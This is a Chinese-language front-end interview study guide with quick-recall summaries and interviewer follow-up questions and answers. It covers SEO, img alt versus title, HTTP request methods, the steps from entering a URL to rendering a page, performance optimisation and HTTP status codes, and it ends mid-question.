# 基础篇

前端基础题型,快速过一遍即可

面试经验谈

# 一、HTML、HTTP、WEB综合问题

# 1 前端需要注意哪些SEO

⚡ 30 秒速记

  • 一句话:SEO 的本质是让爬虫用最低成本拿到内容、并读懂内容
  • 能不能拿到:重要内容写进 HTML(SSR/SSG)、放在文档靠前、少用 iframe、首屏速度达标
  • 能不能读懂:语义化标签、标题层级、图片 alt
  • 愿不愿展示:title 突出关键词且靠前、description 每页不同(不参与排名,只影响点击率)
  • 站点级配套:sitemap.xml、robots.txt、canonical、结构化数据

前端做 SEO,核心是让搜索引擎能抓到内容、看懂页面,并愿意在结果中展示。 页面应设置准确且各不相同的 title 和 description,关键词自然靠前,keywords 只保留少量相关词即可。结构上使用语义化 HTML,把重要内容靠前放置,避免依赖 JavaScript 输出或藏在 iframe 中。非装饰图片要写有意义的 alt,同时提高网站速度,因为可访问性、抓取效率和加载体验都会影响效果。

  • 合理的title、description、keywords:搜索引擎对这些标签的权重逐渐减小。在title中,强调重点即可,重要关键词不要超过2次,并且要靠前。每个页面的title应该有所不同。description应该高度概括页面内容,长度适当,避免过度堆砌关键词。每个页面的description也应该有所不同。keywords标签应列举出重要关键词即可。
    • 针对title标签,可以使用重要关键词、品牌词或描述页面内容的短语。确保标题简洁、准确地概括页面的主题,并吸引用户点击。
    • 在编写description标签时,应尽量使用简洁、具有吸引力的语句来概括页面的内容,吸引用户点击搜索结果。避免堆砌关键词,以自然流畅的方式描述页面
    • keywords标签已经不再是搜索引擎排名的重要因素,但仍然可以列举出与页面内容相关的几个重要关键词,以便搜索引擎了解页面的主题。
  • 语义化的HTML代码,符合W3C规范:使用语义化的HTML代码可以让搜索引擎更容易理解网页的结构和内容。遵循W3C规范可以提高网页的可读性和可访问性,对SEO也有好处。
  • 重要内容HTML代码放在最前:搜索引擎抓取HTML的顺序是从上到下,有些搜索引擎对抓取长度有限制。因此,将重要的内容放在HTML的前面,确保重要内容一定会被抓取。
  • 重要内容不要用js输出:爬虫不会执行JavaScript,所以重要的内容不应该依赖于通过JavaScript动态生成。确保重要内容在HTML中静态存在。
  • 少用iframe:搜索引擎通常不会抓取iframe中的内容,因此应该尽量减少iframe的使用,特别是对于重要的内容。
  • 非装饰性图片必须加alt:为非装饰性图片添加alt属性,可以为搜索引擎提供关于图片内容的描述,同时也有助于可访问性。
  • 提高网站速度:网站速度是搜索引擎排序的一个重要指标

💬 面试官追问

  • 商品详情页视觉完整,但查看初始 HTML 只有一个根节点,标题、价格和正文都由 JavaScript 请求后生成,你会担心什么?

    重要内容不应只依赖 JavaScript 输出,因为部分爬虫不会执行脚本,可能只抓到空壳页面。应让标题、正文等核心信息静态存在于可抓取的 HTML 中,并保持语义结构清晰;具体采用服务端输出还是构建期生成,要结合内容更新方式决定。

  • 一个站点的五千个产品页共用同一套 title 和 description,运营又要求批量堆入十几个关键词,你会怎样调整?

    每个页面应生成能够准确概括自身内容的独立 title 和 description,重要关键词在标题中靠前且避免重复堆砌。description 应简洁自然并服务于搜索结果点击,keywords 只列少量相关词即可;模板化仍需保留产品差异,不能生成近乎相同的元信息。

  • 首页改版把品牌介绍、核心产品和主标题都放进首屏 iframe,外层只保留导航,你会要求怎么改?

    核心内容应回到主文档的语义化 HTML 中,因为搜索引擎通常不会把 iframe 内内容当作当前页面的重要正文抓取。非核心的第三方模块可继续使用 iframe,但页面主题、标题与主要信息必须由外层文档独立表达,否则抓取和可访问性都会受影响。

  • 内容页收录下降,页面源码里正文排在大量弹窗、推荐位和脚本模板之后,你会从前端侧怎么排查?

    先检查重要正文是否真实存在于初始 HTML,再确认语义标签和标题层级能清楚表达页面结构,并尽量把核心内容的代码位置前移。部分搜索引擎按从上到下抓取且可能限制抓取长度,冗长的非核心结构会增加风险;同时还要检查加载速度是否恶化。

  • 媒体站为了提速准备删除所有图片的 alt,理由是属性会增加 HTML 体积,你会同意吗?

    不同意一刀切删除;承载内容的图片必须提供准确的 alt,既帮助搜索引擎理解图像,也改善无法看到图片时的可访问性。纯装饰图片不需要描述性文本,可使用空 `alt``;优化速度应优先处理资源尺寸和加载方式,而不是牺牲内容语义。

  • 研发只盯着元标签做 SEO,性能负责人认为页面速度和 HTML 结构更重要,你会如何划分优先级?

    两者都要处理:独立且准确的 title、description 能表达页面主题,语义化 HTML、核心内容前置和非脚本依赖则决定爬虫能否理解内容。网站速度也是搜索排序的重要指标,因此不能用元标签掩盖慢加载;应先保证可抓取内容,再持续优化资源与渲染速度。

# 2 <img>的title和alt有什么区别

⚡ 30 秒速记

  • alt 是图片的替身:图挂了顶上去、读屏器读它、搜索引擎按它索引,属于内容
  • title 是补充说明:悬停 1 秒才出现,触屏设备根本摸不到,属于锦上添花
  • 优先级:有 alt 就用 alt,title 只在没有 alt 时兜底
  • alt="" 是明确声明「这是装饰图」,读屏器会整个跳过;漏写 alt 属性则是 bug
  • alt 只属于 img / area / input[type=image],title 是几乎所有标签都有的全局属性

alt 是图片内容的替代描述,title 则是用户悬停时看到的补充提示。 图片加载失败或由读屏器访问时,真正代替图片传递信息的是 alt,搜索引擎也会重点分析它。title 属于通用属性,可以补充来源、作者等额外信息,但不是图片必需属性。除纯装饰图片外,我一般都会写简洁准确的 alt,同时避免为了 SEO 堆砌关键词。

  • title属性:title属性是HTML元素通用的属性,适用于各种元素,不仅仅是<img>标签。当鼠标滑动到元素上时,浏览器会显示title属性的内容,提供额外的信息或解释,帮助用户了解元素的用途或含义。对于<img>标签,鼠标悬停在图片上时会显示title属性的内容。

  • alt属性:alt属性是<img>标签的特有属性,用于提供图片的替代文本描述。当图片无法加载时,浏览器会显示alt属性的内容,或者在可访问性场景中,读屏器会读取alt属性的内容。alt属性的主要目的是提高图片的可访问性,使无法查看图片的用户也能了解图片的内容或含义。除了纯装饰性图片外,所有<img>标签都应该设置有意义的alt属性值。

  • 补充答案:

    • title属性主要用于提供额外的信息或提示,是对图片的补充描述,可以用于提供更详细的说明,如图片的来源、作者、相关信息等。它不是必需的,但可以增强用户体验,特别是在需要显示更多信息时。
    • alt属性是图片内容的等价描述,应该简洁明了地描述图片所表达的信息。它对于可访问性至关重要,确保无障碍用户能够理解图片的含义,同时也是搜索引擎重点分析的内容。在设置alt属性时,应该避免过度堆砌关键词,而是提供准确、有意义的描述。

💬 面试官追问

  • 商品列表里一张主图同时写了 alt="红色连衣裙" 和 title="红色连衣裙",鼠标悬停正常、读屏却听到重复信息,你会保留哪一个?

    应优先保留准确的 alt,因为它承担图片内容的等价描述,并在图片加载失败或读屏场景中发挥作用。title 只是补充提示,不应复制 alt;没有额外来源、作者等信息时可以去掉,且不能依赖悬停提示传递关键信息。

  • 新闻详情页的图片加载失败后只剩一个破图标,代码是 <img title="事故现场">,为什么 title 不能替代 alt?

    应补上能表达图片信息的 alt,因为它才是图片无法显示时的替代文本,也是读屏器理解图片的主要依据。title 属于通用补充属性,通常依赖鼠标悬停展示;触屏、键盘和辅助技术环境下都不能保证获得同等信息。

  • 设计师要求每张轮播图都显示摄影师和拍摄地点,产品又要求读屏用户只听到图片主题,你会怎样拆分 alt 与 title?

    alt 应简洁描述轮播图表达的主题,使无法查看图片的用户获得等价信息;摄影师、地点等补充资料可放入 title 或页面可见文字。若这些资料也是理解内容所必需,就不应只藏在悬停提示中,而应直接呈现在正文或图片说明里。

  • 无障碍巡检发现首页二百张缩略图都没有 alt,但多数图片只是卡片装饰,你会如何判断并修复?

    先按图片是否传递信息分类:内容图片补充准确且有意义的 alt,纯装饰图片使用空替代文本,避免制造无关朗读。不能批量把文件名或统一关键词填进去,否则既降低可访问性,也可能形成搜索关键词堆砌;边界应由图片在当前页面的用途决定。

  • 运营认为给所有图片堆满商品关键词能提升搜索排名,无障碍负责人要求描述自然准确,你会支持哪种方案?

    应支持自然、准确且简洁的 alt,它既服务无法查看图片的用户,也是搜索引擎重点分析的信息。堆砌关键词会偏离图片的等价描述,可能让读屏内容难以理解;营销补充信息应放在标题、正文或结构化内容中,而不是污染 alt。

# 3 HTTP的几种请求方法用途

⚡ 30 秒速记

  • 两个定义先背下来:安全 = 不改服务端状态;幂等 = 执行 1 次和 N 次最终状态相同
  • GET 安全且幂等、可缓存、参数在 URL;HEAD 是不要 body 的 GET
  • POST 不幂等(连点两次出两单);PUT 整体覆盖所以幂等;DELETE 幂等(最终状态都是"不存在")
  • PATCH 局部更新,规范上不保证幂等
  • OPTIONS 就是跨域预检请求的真身
  • 工程价值:只有幂等的方法,网关和客户端才敢自动重试

HTTP 请求方法用来表达对资源的操作意图,常见的是获取、提交、替换和删除。 GET 用于获取资源,参数通常放在 URL 中,属于安全且幂等的方法;POST 把数据放进请求体提交,重复请求可能产生不同结果。PUT 通常替换指定位置的资源并具有幂等性,DELETE 用于删除资源,HEAD 则只获取响应首部。OPTIONS 可查询服务端支持的方法,TRACE 用于请求消息回路,CONNECT 用于建立透明的 TCP/IP 通道。

  • GET方法:
    • 用途:发送一个请求来获取服务器上的某一资源。
    • 面试可能涉及的问题:
      1. GET方法的特点是什么?
        • GET方法是HTTP的一种请求方法,用于从服务器获取资源。
        • 它是一种幂等的方法,多次发送相同的GET请求会返回相同的结果。
      2. GET请求和POST请求的区别是什么?
        • GET请求将参数附加在URL的查询字符串中,而POST请求将参数放在请求体中。
        • GET请求的数据会显示在URL中,而POST请求的数据不会显示在URL中。
        • GET请求一般用于获取数据,而POST请求一般用于提交数据。
      3. GET请求可以有请求体吗?
        • 根据HTTP规范,GET请求不应该有请求体,参数应该通过URL的查询字符串传递。
      4. GET请求的参数如何传递?
        • GET请求的参数可以通过URL的查询字符串传递,例如:/api/users?id=123&name=poetry。
      5. GET请求的安全性和幂等性如何保证?
        • GET请求不会对服务器端的资源产生副作用,因此被视为安全的。
        • GET请求是幂等的,多次发送相同的GET请求不会对服务器端产生影响。
  • POST方法:
    • 用途:向URL指定的资源提交数据或附加新的数据。
    • 面试可能涉及的问题:
      1. POST方法的特点是什么?
        • POST方法是HTTP的一种请求方法,用于向服务器提交数据。
        • 它不是幂等的,多次发送相同的POST请求可能会产生不同的结果。
      2. POST请求和GET请求的区别是什么?
        • POST请求将参数放在请求体中,而GET请求将参数附加在URL的查询字符串中。
        • POST请求的数据不会显示在URL中,而GET请求的数据会显示在URL中。
        • POST请求一般用于提交数据,而GET请求一般用于获取数据。
      3. POST请求的请求体如何传递数据?
        • POST请求的数据可以通过请求体以表单形式传递,或者以JSON等格式传递。
      4. POST请求的安全性和幂等性如何保证?
        • POST请求可能对服务器端的资源产生副作用,因此被视为不安全的。
        • POST请求不是幂等的,多次发送相同的POST请求可能会对服务器端产生影响。
  • PUT方法:
    • 用途:将数据发送给服务器,并将其存储在指定的URL位置。与POST方法不同的是,PUT方法指定了资源在服务器上的位置。
    • 面试可能涉及的问题:
      • PUT方法的特点是什么?
        • PUT方法是HTTP的一种请求方法,用于将数据发送给服务器并存储在指定的URL位置。
        • 它是一种幂等的方法,多次发送相同的PUT请求会对服务器端产生相同的结果。
      • PUT请求和POST请求有什么区别?
        • PUT请求用于指定资源在服务器上的位置,而POST请求没有指定位置。
        • PUT请求一般用于更新或替换资源,而POST请求一般用于新增资源或提交数据。
      • PUT请求的幂等性如何保证?
        • PUT请求的幂等性保证是由服务器端实现的。
        • 服务器端应该根据请求中的资源位置来处理请求,多次发送相同的PUT请求会对该位置上的资源进行相同的更新或替换操作。
  • HEAD方法
    • 只请求页面的首部
  • DELETE方法
    • 删除服务器上的某资源
  • OPTIONS方法
    • 它用于获取当前URL所支持的方法。如果请求成功,会有一个Allow的头包含类似“GET,POST”这样的信息
  • TRACE方法
    • TRACE方法被用于激发一个远程的,应用层的请求消息回路
  • CONNECT方法
    • 把请求连接转换到透明的TCP/IP通道

💬 面试官追问

  • 订单查询接口用了 GET /orders?id=123,后端却顺便把订单标记为已读;刷新页面就改变服务器状态,这仍算安全、幂等的 GET 吗?

    这种设计不符合 GET 应无副作用的安全语义,刷新、预取或缓存重放都可能意外修改状态。查询与标记已读应拆开,查询继续使用 GET,状态变更改用提交类方法;即使重复标记结果相同,也不能据此把有副作用的操作称为安全。

  • 文件管理页要把固定地址 /files/report.pdf 的内容整体替换,客户端断线后可能自动重试,你选 PUT 还是 POST?

    更适合使用 PUT /files/report.pdf,因为资源位置由请求明确指定,重复发送相同内容应得到相同的服务器状态。POST 通常用于向目标提交数据或新增资源,重复调用可能产生不同结果;不过 PUT 的幂等性仍需服务端按资源位置正确实现。

  • 搜索团队想把包含复杂筛选条件的请求改成带请求体的 GET,网关团队只处理查询字符串,你会怎样定接口?

    按给定规范,应把 GET 参数放入 URL 查询字符串,例如 /api/users?id=123&name=poetry,不依赖请求体传参。若筛选数据无法合理编码进 URL,可改用 POST 提交查询条件,但会改变缓存、语义和幂等预期,需要客户端、网关与服务端共同约定。

  • 线上跨域预检返回成功,但浏览器随后提示目标接口不允许 DELETE,你会先检查哪个响应头和服务端配置?

    先检查 OPTIONS 响应及其声明的允许方法,确认其中是否包含 DELETE,并核对目标 URL 的路由配置。OPTIONS 用于获知当前 URL 支持的方法,成功响应通常通过允许方法相关响应头表达能力;只放行预检却未开放实际方法,后续请求仍会失败。

  • 运维要探测一个十兆字节下载地址是否可用,又不希望传输文件正文,接口在 GET 与 HEAD 之间怎么选?

    应优先使用 HEAD,它只请求资源的首部,可检查状态和相关元信息而不获取页面实体。GET 会取得完整资源,带来不必要的带宽与传输时间;但前提是服务器正确实现 HEAD,否则仍需用受控的 GET 作为兼容方案。

  • 企业代理要求浏览器通过代理服务器建立加密隧道,评审会上有人建议用 TRACE,这里真正相关的方法是什么?

    真正相关的是 CONNECT,它用于把请求连接转换为透明的 TCP/IP 通道,常见于经代理建立隧道的场景。TRACE 用于触发应用层请求消息回路,目的不是建立隧道;两者都不是普通页面资源的增删改查方法,部署时还受代理和安全策略约束。

# 4 从浏览器地址栏输入url到显示页面的步骤

⚡ 30 秒速记

  • 主干七步:URL 解析 → DNS 查 IP → TCP 三次握手 → (HTTPS 再加 TLS 握手)→ 发 HTTP 请求 → 服务端响应 → 浏览器解析渲染
  • 渲染子流程:HTML→DOM、CSS→CSSOM,合并成渲染树 → 布局(Layout) → 绘制(Paint) → 合成(Composite)
  • 缓存贯穿全程:DNS 缓存、强缓存(不发请求)、协商缓存(发请求拿 304)
  • JS 会阻塞 DOM 解析,CSS 会阻塞渲染 —— 这是"样式放头部、脚本放底部"的真正原因
  • 答题技巧:说完主干后主动挑一环深入(DNS 递归查询、三次握手为什么是三次、重排重绘),比平铺直叙加分

从输入 URL 到页面显示,本质上经历资源定位、网络请求、服务端响应和浏览器渲染。 浏览器先检查缓存并解析 URL,再通过缓存、hosts 或 DNS 获得 IP,建立 TCP 连接后发送 HTTP 请求。服务端处理请求并返回响应,浏览器根据状态码处理结果,必要时解压、缓存或复用连接。拿到 HTML 后会构建 DOM,解析样式生成 CSSOM,再形成渲染树并逐步显示页面。普通脚本可能阻塞解析,而 async 和 defer 的下载、执行时机不同,最终还会触发 DOMContentLoaded 和 load。

基础版本

  • 浏览器根据请求的URL交给DNS域名解析,找到真实IP,向服务器发起请求;
  • 服务器交给后台处理完成后返回数据,浏览器接收文件(HTML、JS、CSS、图象等);
  • 浏览器对加载到的资源(HTML、JS、CSS等)进行语法解析,建立相应的内部数据结构(如HTML的DOM);
  • 载入解析到的资源文件,渲染页面,完成。

详细版

  1. 在浏览器地址栏输入URL
  2. 浏览器查看缓存,如果请求资源在缓存中并且新鲜,跳转到转码步骤
    1. 如果资源未缓存,发起新请求
    2. 如果已缓存,检验是否足够新鲜,足够新鲜直接提供给客户端,否则与服务器进行验证。
    3. 检验新鲜通常有两个HTTP头进行控制Expires和Cache-Control:
      • HTTP1.0提供Expires,值为一个绝对时间表示缓存新鲜日期
      • HTTP1.1增加了Cache-Control: max-age=,值为以秒为单位的最大新鲜时间
  3. 浏览器解析URL获取协议,主机,端口,path
  4. 浏览器组装一个HTTP(GET)请求报文
  5. 浏览器获取主机ip地址,过程如下:
    1. 浏览器缓存
    2. 本机缓存
    3. hosts文件
    4. 路由器缓存
    5. ISP DNS缓存
    6. DNS递归查询(可能存在负载均衡导致每次IP不一样)
  6. 打开一个socket与目标IP地址,端口建立TCP链接,三次握手如下:
    1. 客户端发送一个TCP的SYN=1,Seq=X的包到服务器端口
    2. 服务器发回SYN=1, ACK=X+1, Seq=Y的响应包
    3. 客户端发送ACK=Y+1, Seq=Z
  7. TCP链接建立后发送HTTP请求
  8. 服务器接受请求并解析,将请求转发到服务程序,如虚拟主机使用HTTP Host头部判断请求的服务程序
  9. 服务器检查HTTP请求头是否包含缓存验证信息如果验证缓存新鲜,返回304等对应状态码
  10. 处理程序读取完整请求并准备HTTP响应,可能需要查询数据库等操作
  11. 服务器将响应报文通过TCP连接发送回浏览器
  12. 浏览器接收HTTP响应,然后根据情况选择关闭TCP连接或者保留重用,关闭TCP连接的四次握手如下:
    1. 主动方发送Fin=1, Ack=Z, Seq= X报文
    2. 被动方发送ACK=X+1, Seq=Z报文
    3. 被动方发送Fin=1, ACK=X, Seq=Y报文
    4. 主动方发送ACK=Y, Seq=X报文
  13. 浏览器检查响应状态吗:是否为1XX,3XX, 4XX, 5XX,这些情况处理与2XX不同
  14. 如果资源可缓存,进行缓存
  15. 对响应进行解码(例如gzip压缩)
  16. 根据资源类型决定如何处理(假设资源为HTML文档)
  17. 解析HTML文档,构件DOM树,下载资源,构造CSSOM树,执行js脚本,这些操作没有严格的先后顺序,以下分别解释
  18. 构建DOM树:
    1. Tokenizing:根据HTML规范将字符流解析为标记
    2. Lexing:词法分析将标记转换为对象并定义属性和规则
    3. DOM construction:根据HTML标记关系将对象组成DOM树
  19. 解析过程中遇到图片、样式表、js文件,启动下载
  20. 构建CSSOM树:
    1. Tokenizing:字符流转换为标记流
    2. Node:根据标记创建节点
    3. CSSOM:节点创建CSSOM树
  21. 根据DOM树和CSSOM树构建渲染树 (opens new window):
    1. 从DOM树的根节点遍历所有可见节点,不可见节点包括:1)script,meta这样本身不可见的标签。2)被css隐藏的节点,如display: none
    2. 对每一个可见节点,找到恰当的CSSOM规则并应用
    3. 发布可视节点的内容和计算样式
  22. js解析如下:
    1. 浏览器创建Document对象并解析HTML,将解析到的元素和文本节点添加到文档中,此时document.readystate为loading
    2. HTML解析器遇到没有async和defer的script时,将他们添加到文档中,然后执行行内或外部脚本。这些脚本会同步执行,并且在脚本下载和执行时解析器会暂停。这样就可以用document.write()把文本插入到输入流中。同步脚本经常简单定义函数和注册事件处理程序,他们可以遍历和操作script和他们之前的文档内容
    3. 当解析器遇到设置了async属性的script时,开始下载脚本并继续解析文档。脚本会在它下载完成后尽快执行,但是解析器不会停下来等它下载。异步脚本禁止使用document.write(),它们可以访问自己script和之前的文档元素
    4. 当文档完成解析,document.readState变成interactive
    5. 所有defer脚本会按照在文档出现的顺序执行,延迟脚本能访问完整文档树,禁止使用document.write()
    6. 浏览器在Document对象上触发DOMContentLoaded事件
    7. 此时文档完全解析完成,浏览器可能还在等待如图片等内容加载,等这些内容完成载入并且所有异步脚本完成载入和执行,document.readState变为complete,window触发load事件
  23. 显示页面(HTML解析过程中会逐步显示页面)

详细简版

  1. 从浏览器接收url到开启网络请求线程(这一部分可以展开浏览器的机制以及进程与线程之间的关系)
  2. 开启网络线程到发出一个完整的HTTP请求(这一部分涉及到dns查询,TCP/IP请求,五层因特网协议栈等知识)
  3. 从服务器接收到请求到对应后台接收到请求(这一部分可能涉及到负载均衡,安全拦截以及后台内部的处理等等)
  4. 后台和前台的HTTP交互(这一部分包括HTTP头部、响应码、报文结构、cookie等知识,可以提下静态资源的cookie优化,以及编码解码,如gzip压缩等)
  5. 单独拎出来的缓存问题,HTTP的缓存(这部分包括http缓存头部,ETag,catch-control等)
  6. 浏览器接收到HTTP数据包后的解析流程(解析html-词法分析然后解析成dom树、解析css生成css规则树、合并成render树,然后layout、painting渲染、复合图层的合成、GPU绘制、外链资源的处理、loaded和DOMContentLoaded等)
  7. CSS的可视化格式模型(元素的渲染规则,如包含块,控制框,BFC,IFC等概念)
  8. JS引擎解析过程(JS的解释阶段,预处理阶段,执行阶段生成执行上下文,VO,作用域链、回收机制等等)
  9. 其它(可以拓展不同的知识模块,如跨域,web安全,hybrid模式等等内容)

💬 面试官追问

  • 用户第二次打开商品页时命中了磁盘缓存,就有人说浏览器不会再解析 URL、构建 DOM,这句话哪里不对?

    缓存命中只可能省去或缩短网络获取与服务器处理,并不会让 HTML 文档跳过解析和渲染。浏览器仍需识别资源类型、解码内容、解析 HTML 构建 DOM,结合 CSSOM 生成渲染树并显示页面;缓存内容失效时还要携带验证信息与服务器协商。

  • 一个页面首屏依赖三个域名的静态资源,地址栏回车后长时间没有请求正文,你会沿哪条链路定位卡点?

    先按 URL 解析、缓存检查、DNS 查询、连接建立和请求发送的顺序查看网络瀑布。DNS 阶段可涉及浏览器、本机、hosts、路由器和 ISP 缓存,之后才会向目标 IP 与端口建立连接;若卡在其中一层,继续分析 DOM 或脚本执行没有意义。

  • 安全团队把站点从 HTTP 切到加密连接,但业务同学仍只描述“三次握手后发送请求”,你会要求补充什么边界?

    三次握手描述的是建立 TCP 连接,不能完整代表加密连接准备过程;在发送受保护的 HTTP 数据前,还存在与加密协议相关的协商。详细步骤会随实际协议和连接复用方式变化,因此面试中应先声明讨论的是基础 HTTP/TCP 流程,避免把所有访问都简化成同一链路。

  • 线上首页 HTML 很快返回,但同步外链脚本迟迟下载不完,DOMContentLoaded 一直不触发;解析器此时发生了什么?

    没有 async 或 defer 的外链脚本会暂停 HTML 解析器,等待脚本下载并同步执行,因此后续 DOM 尚未完成构建。文档解析完成且 defer 脚本按顺序执行后才触发 DOMContentLoaded;图片等资源通常可继续影响 load,不能把两个事件混为一谈。

  • 页面出现样式错乱后又恢复,开发者只检查 DOM,你会怎样串起 CSSOM、渲染树和显示过程排查?

    除 DOM 外还要确认样式表是否及时下载并正确构建 CSSOM,因为渲染树需要为可见节点匹配计算后的样式。随后检查布局、绘制和合成阶段是否反复发生;被 display: none 隐藏或本身不可见的节点不会按普通可见节点进入渲染树。

  • 接口返回 304 后页面仍显示旧内容,前端、网关和服务端互相推责,你会先核对哪些环节?

    先核对请求是否携带缓存验证信息、服务器为何判定资源未修改,以及浏览器实际复用了哪份本地缓存。304 表示客户端应继续使用缓存实体,而不是返回新正文;若内容本应更新,就要追查验证标识、缓存规则或发布链路,而不是从 HTML 解析阶段寻找原因。

# 5 如何进行网站性能优化

⚡ 30 秒速记

  • 按加载链路分四层答,比罗列几十条清楚:网络 → 资源 → 渲染 → 运行时
  • 网络:CDN、HTTP/2 多路复用、gzip/brotli、强缓存 + 协商缓存、preconnect/dns-prefetch
  • 资源:代码分割按需加载、Tree Shaking、图片用 WebP/AVIF + 响应式尺寸 + 懒加载、字体子集化
  • 渲染:关键 CSS 内联、JS 用 defer/async、避免布局抖动、长列表虚拟滚动
  • 运行时:防抖节流、事件委托、Web Worker 扛计算、避免内存泄漏
  • 收尾用指标说话:LCP < 2.5s、INP < 200ms、CLS < 0.1(Core Web Vitals)

网站性能优化本质上是减少传输和请求成本,同时降低页面渲染与脚本执行的开销。 我一般会先处理收益较明确的部分,例如启用 CDN、缓存和 Gzip,压缩 JavaScript、CSS 与图片,并按需加载非首屏资源。页面侧要减少不必要的 DOM 操作,缓存节点查询结果,批量改样式时优先切换 className。具体方案需要结合性能工具定位,不能为了减少请求而盲目合并所有资源。

  • content方面
    • 减少HTTP请求:合并文件、CSS精灵、inline Image
    • 减少DNS查询:DNS缓存、将资源分布到恰当数量的主机名
    • 减少DOM元素数量
  • Server方面
    • 使用CDN
    • 配置ETag
    • 对组件使用Gzip压缩
  • Cookie方面
    • 减小cookie大小
  • css方面
    • 将样式表放到页面顶部
    • 不使用CSS表达式
    • 使用<link>不使用@import
  • Javascript方面
    • 将脚本放到页面底部
    • 将javascript和css从外部引入
    • 压缩javascript和css
    • 删除不需要的脚本
    • 减少DOM访问
  • 图片方面
    • 优化图片:根据实际颜色需要选择色深、压缩
    • 优化css精灵
    • 不要在HTML中拉伸图片

你有用过哪些前端性能优化的方法?

  • 减少http请求次数:CSS Sprites, JS、CSS源码压缩、图片大小控制合适;网页Gzip,CDN托管,data缓存 ,图片服务器。
  • 前端模板 JS+数据,减少由于HTML标签导致的带宽浪费,前端用变量保存AJAX请求结果,每次操作本地变量,不用请求,减少请求次数
  • 用innerHTML代替DOM操作,减少DOM操作次数,优化javascript性能。
  • 当需要设置的样式很多时设置className而不是直接操作style
  • 少用全局变量、缓存DOM节点查找的结果。减少IO读取操作
  • 避免使用CSS Expression(css表达式)又称Dynamic properties(动态属性)
  • 图片预加载,将样式表放在顶部,将脚本放在底部 加上时间戳
  • 避免在页面的主体布局中使用table,table要等其中的内容完全下载之后才会显示出来,显示比div+css布局慢

谈谈性能优化问题

  • 代码层面:避免使用css表达式,避免使用高级选择器,通配选择器
  • 缓存利用:缓存Ajax,使用CDN,使用外部js和css文件以便缓存,添加Expires头,服务端配置Etag,减少DNS查找等
  • 请求数量:合并样式和脚本,使用css图片精灵,初始首屏之外的图片资源按需加载,静态资源延迟加载
  • 请求带宽:压缩文件,开启GZIP

前端性能优化最佳实践?

  • 性能评级工具(PageSpeed 或 YSlow)
  • 合理设置 HTTP 缓存:Expires 与 Cache-control
  • 静态资源打包,开启 Gzip 压缩(节省响应流量)
  • CSS3 模拟图像,图标base64(降低请求数)
  • 模块延迟(defer)加载/异步(async)加载
  • Cookie 隔离(节省请求流量)
  • localStorage(本地存储)
  • 使用 CDN 加速(访问最近服务器)
  • 启用 HTTP/2(多路复用,并行加载)
  • 前端自动化(gulp/webpack)

💬 面试官追问

  • 一个 HTTP/2 页面仍把二十个脚本强行合成单个大文件,团队理由是“减少请求一定更快”,你会如何评审?

    减少请求是常见优化方向,但启用 HTTP/2 后可利用多路复用,不能只按请求数量判断收益。大文件可能让首屏下载并执行不需要的代码,失去按需加载能力;应结合首屏依赖、缓存复用和传输体积评估,不能机械沿用合并策略。

  • 图片站首屏有五十张原图,HTML 又把它们缩成缩略图展示,带宽持续升高,你会先改哪两处?

    先按实际展示尺寸和颜色需求生成、压缩合适的图片,避免依赖 HTML 拉伸原图;首屏之外的图片再按需或延迟加载。这样同时减少响应流量和初始请求压力,但预加载只应留给确实马上需要的资源,否则会抢占首屏网络带宽。

  • 广告业务要求所有静态资源走六个子域名以并行下载,基础设施已启用 HTTP/2,你会如何处理域名数量与 CDN 的冲突?

    CDN 仍可用于让用户访问较近的服务器,但资源域名数量应控制在恰当范围,因为每个新主机名都可能增加 DNS 查询与连接成本。HTTP/2 已支持同一连接多路复用,盲目拆域未必有利;最终要依据实际网络链路和缓存策略验证。

  • 线上页面脚本执行时频繁查找并修改上千个节点,网络面板却很健康,你会把优化重点放在哪里?

    重点应转向 JavaScript 与 DOM 操作,缓存节点查找结果、减少重复 DOM 访问,并在批量设置样式时优先切换 className。若大量字符串内容适合一次更新,可评估 innerHTML,但它可能覆盖节点和事件状态,不能替代所有精细 DOM 操作。

  • 缓存负责人主张给所有接口无限期本地缓存,业务负责人要求数据实时更新,你会怎样划分策略?

    静态资源可通过 Expires、Cache-Control 和 ETag 提高复用率,稳定的 AJAX 结果也可按业务容忍度缓存。实时数据不能仅为性能长期复用旧值,应设置合理新鲜期或验证机制;缓存降低请求与带宽,却会引入失效和一致性成本。

  • 页面传输体积很大,服务端已启用 CDN,但每个请求仍携带较大的登录 Cookie,你会怎样继续优化?

    应减小 Cookie 内容,并评估静态资源是否需要携带业务身份信息,避免在大量请求中重复传输无关数据。CDN 解决的是分发距离和缓存能力,不能自动消除请求头开销;隔离时还要保证认证范围、域配置和业务访问权限不被破坏。

# 6 HTTP状态码及其含义

⚡ 30 秒速记

  • 分类:1xx 信息、2xx 成功、3xx 重定向、4xx 客户端错、5xx 服务端错
  • 面试真正考的是三组对比,不是背表
  • 301 vs 302:301 永久、会被浏览器缓存住、权重转移;302 临时、不缓存、权重保留。要严格保持请求方法用 308 / 307
  • 304 vs 强缓存:304 是发了请求才知道没变(省带宽);强缓存是压根不发请求(省往返)
  • 401 vs 403:401 没登录,403 登录了但没权限
  • 加分项:停服维护要返 503 而不是 404,搜索引擎才知道是临时的

HTTP 状态码用于告诉客户端请求处于什么结果,以及接下来应该如何处理。 2XX 表示请求成功或已被接受,3XX 通常涉及重定向或缓存,例如 301 是永久移动,302 是临时跳转,304 表示资源没有修改。4XX 是客户端侧问题,其中 401 表示未授权,403 表示禁止访问,404 表示资源不存在。5XX 则说明服务端处理失败或暂时不可用,例如 500 和 503。

  • 1XX:信息状态码
    • 100 Continue 继续,一般在发送post请求时,已发送了http header之后服务端将返回此信息,表示确认,之后发送具体参数信息
  • 2XX:成功状态码
    • 200 OK 正常返回信息
    • 201 Created 请求成功并且服务器创建了新的资源
    • 202 Accepted 服务器已接受请求,但尚未处理
  • 3XX:重定向
    • 301 Moved Permanently 请求的网页已永久移动到新位置。
    • 302 Found 临时性重定向。
    • 303 See Other 临时性重定向,且总是使用 GET 请求新的 URI。
    • 304 Not Modified 自从上次请求后,请求的网页未修改过。
  • 4XX:客户端错误
    • 400 Bad Request 服务器无法理解请求的格式,客户端不应当尝试再次使用相同的内容发起请求。
    • 401 Unauthorized 请求未授权。
    • 403 Forbidden 禁止访问。
    • 404 Not Found 找不到如何与 URI 相匹配的资源。
  • 5XX: 服务器错误
    • 500 Internal Server Error 最常见的服务器端错误。
    • 503 Service Unavailable 服务器端暂时无法处理请求(可能是过载或维护)

💬 面试官追问

  • 创建用户接口成功后返回 200,客户端却要猜资源是否真的创建;评审时你会建议改成哪个状态码?

